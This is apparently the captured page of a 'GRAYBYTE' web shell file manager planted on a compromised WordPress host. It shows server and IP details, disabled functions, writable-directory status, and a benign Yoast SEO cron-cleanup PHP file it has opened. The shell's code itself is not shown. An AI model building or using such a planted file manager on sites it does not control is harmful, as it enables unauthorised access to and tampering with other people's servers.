✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.191
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/expiring-store/user-interface//expiring-store-cleanup-integration.php
<?php

namespace Yoast\WP\SEO\Expiring_Store\User_Interface;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Expiring_Store\Application\Expiring_Store;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Runs expiring store cleanup on a recurring weekly WP-Cron schedule.
 */
class Expiring_Store_Cleanup_Integration implements Integration_Interface {

	use No_Conditionals;

	public const CRON_HOOK = 'wpseo_expiring_store_cleanup';

	/**
	 * The expiring store.
	 *
	 * @var Expiring_Store
	 */
	private $expiring_store;

	/**
	 * The constructor.
	 *
	 * @param Expiring_Store $expiring_store The expiring store.
	 */
	public function __construct( Expiring_Store $expiring_store ) {
		$this->expiring_store = $expiring_store;
	}

	/**
	 * Registers action hooks.
	 *
	 * @return void
	 */
	public function register_hooks(): void {
		\add_action( 'admin_init', [ $this, 'schedule_cleanup' ] );
		\add_action( self::CRON_HOOK, [ $this, 'run_cleanup' ] );
		\add_action( 'wpseo_deactivate', [ $this, 'unschedule_cleanup' ] );
	}

	/**
	 * Schedules the weekly cleanup cron if not already scheduled.
	 *
	 * @return void
	 */
	public function schedule_cleanup(): void {
		if ( ! \wp_next_scheduled( self::CRON_HOOK ) ) {
			\wp_schedule_event( \time(), 'weekly', self::CRON_HOOK );
		}
	}

	/**
	 * Clears all scheduled cleanup events.
	 *
	 * @return void
	 */
	public function unschedule_cleanup(): void {
		\wp_clear_scheduled_hook( self::CRON_HOOK );
	}

	/**
	 * Runs the expiring store cleanup.
	 *
	 * @return void
	 */
	public function run_cleanup(): void {
		$this->expiring_store->cleanup_expired();
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
26 Sep 2026 12.21 AM
docteuh / users
0755
expiring-store-cleanup-integration.php
1.602 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF